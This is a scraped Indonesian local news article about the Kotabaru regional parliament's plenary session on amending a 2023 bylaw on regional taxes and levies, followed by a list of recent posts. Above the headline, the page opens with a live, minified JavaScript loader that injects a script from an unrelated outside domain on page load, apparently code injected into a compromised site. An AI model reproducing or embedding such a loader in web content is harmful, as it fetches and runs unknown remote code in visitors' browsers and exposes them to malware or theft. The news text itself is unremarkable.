(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

DPRD Kotabaru Gelar Rapat Paripurna Berisi Penyampaian Raperda Perubahan


KANALKALIMANTAN.COM, KOTABARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru menggelar Rapat Paripurna beragenda penyampaian satu buah Raperda Perubahan Atas Perda No.10 Tahun 2023 Tentang Pajak Daerah dan Retribusi yang bertempat di Ruang Rapat Paripurna DPRD setempat, Senin (1/12/2025) siang.

Rapat tersebut dipimpin oleh Ketua DPRD Kotabaru Suwanti didampingi Wakil Ketua I Awaludin dan Wakil Ketua II Chairil Anwar dan dihadiri oleh Perwakilan dari Forkopimda, Asisten dan Staf Ahli Bupati, Kepala SKPD dan anggota DPRD Kotabaru.

Bupati Kotabaru Muhammad Rusli dalam sambutannya yang dibacakan Sekretaris Daerah Eka Saprudin mengucapkan terima kasih dan penghargaan kepada pimpinan dan anggota DPRD yang telah bekerja keras melaksanakan proses Raperda, mulai melakukan pembahasan hingga akhir dapat disahkan menjadi Raperda.

Satu buah Raperda, yakni Raperda perubahan atas Perda Nomor 10 tahun 2023 tentang Pajak Daerah dan Retribusi Daerah.

Baca juga: Cek Kenaikan UMP 2026 Kalimantan di Semua Provinsi, Potensi Naik 10,5%!

Menurut Eka, terkait proses Raperda, diketahui Kementerian dalam negeri telah melakukan evaluasi terhadap peraturan daerah Kabupaten Kotabaru tersebut.

Hasil evaluasi menunjukkan beberapa ketentuan dalam perda tidak sesuai dengan Undang Undang nomor 1 tahun 2022 dan pp nomor 35 tahun 2023 sehingga harus dilakukan penyesuaian.

Perubahan Perda ini, lanjut dia, dilakukan untuk menyesuaikan Perda Pajak Daerah dan Retribusi Daerah tahun 2023 dengan hasil evaluasi Kementerian Dalam Negeri, serta untuk memastikan keselarasan dengan peraturan perundang-undangan yang lebih tinggi.

Baca juga: Bulir Padi Tak Keluar Selama Dua Tahun di Tatah Makmur

Perubahan mencakup penyesuaian objek dan pengecualian pajak, dasar pengenaan, tarif pajak, ketentuan BPHTB, kewajiban notaris dan pejabat lelang, ketentuan opsen, hingga penyempurnaan aturan retribusi.

Regulasi ini bertujuan meningkatkan kepastian hukum, efektivitas pemungutan pajak dan retribusi, serta mendukung pengelolaan keuangan daerah yang lebih baik. (Kanalkalimantan.com/diskominfokotabaru)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.